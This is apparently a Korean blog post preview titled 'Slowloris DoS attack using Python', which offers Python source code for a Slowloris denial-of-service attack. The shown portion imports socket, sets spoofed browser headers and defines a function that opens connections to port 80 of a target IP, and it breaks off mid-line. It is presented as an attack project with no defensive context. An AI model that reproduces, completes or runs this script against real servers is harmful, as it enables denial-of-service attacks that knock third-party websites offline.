Python/Project

    파이썬을 이용한 slowloris dos공격

    Socket 모듈을 이용한 slowloris dos 공격 파이썬 소스코드 import socket, random, time, sys headers = [ "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36", "Accept-language: en-US,en" ] sockets = [] def setupSocket(ip): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(4) sock.connect((ip, 80)) sock.send("GE..